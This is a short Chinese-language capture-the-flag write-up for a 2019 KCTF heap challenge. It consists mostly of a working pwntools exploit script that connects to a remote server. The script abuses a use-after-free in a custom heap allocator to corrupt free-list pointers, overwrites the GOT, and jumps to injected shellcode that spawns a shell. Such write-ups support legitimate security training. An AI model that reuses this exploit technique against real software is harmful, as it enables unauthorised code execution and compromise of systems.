这是一个自写堆管理
有Use After Free漏洞
可以实现链表的任意分配,需要过一个size check
分配的是RWX的块,写Shellcode
from pwn import * #p = process('./0xbird1') p = remote('154.8.174.214', 10000) context(arch = 'amd64') def alloc(size): p.recvuntil('2019KCTF|') p.sendline('A') p.recvuntil('Size:') p.sendline(str(size)) def write(idx, buf, c=1): p.recvuntil('2019KCTF|') p.sendline('W') p.recvuntil(str(idx) + ') 0x') addr = int(p.recvuntil('--')[:-2], 16) p.recvuntil('Write addr:') p.sendline(str(idx)) p.recvuntil('Write value:') if (c): p.sendline(buf) else: p.send(buf) return addr def free(idx): p.recvuntil('2019KCTF|') p.sendline('F') p.recvuntil(str(idx) + ') 0x') addr = int(p.recvuntil('--')[:-2], 16) p.recvuntil('Index:') p.sendline(str(idx)) return addr sc = asm(shellcraft.amd64.linux.sh()) alloc(4096) #1 sc_addr = write(1, sc) log.info("shellcode %#x" % sc_addr) alloc(0x88) #2 alloc(0x88) #3 alloc(0x88) #4 alloc(0x88) #5 alloc(0x88) #6 alloc(0x88) #7 alloc(0x88) #8 free(3) free(4) free(5) alloc(0x88) #9 # overwrite prev & next ptr write(4, '\x00' * 0x78 + p64(0x602095) + p64(0x602095), 0) alloc(0x88) # trigger bug alloc(0x78) # overwrite ptr list write(11, '\x00' * 3 + p64(0x602018)) # overwrite got write(1, p64(sc_addr) * 10) p.interactive()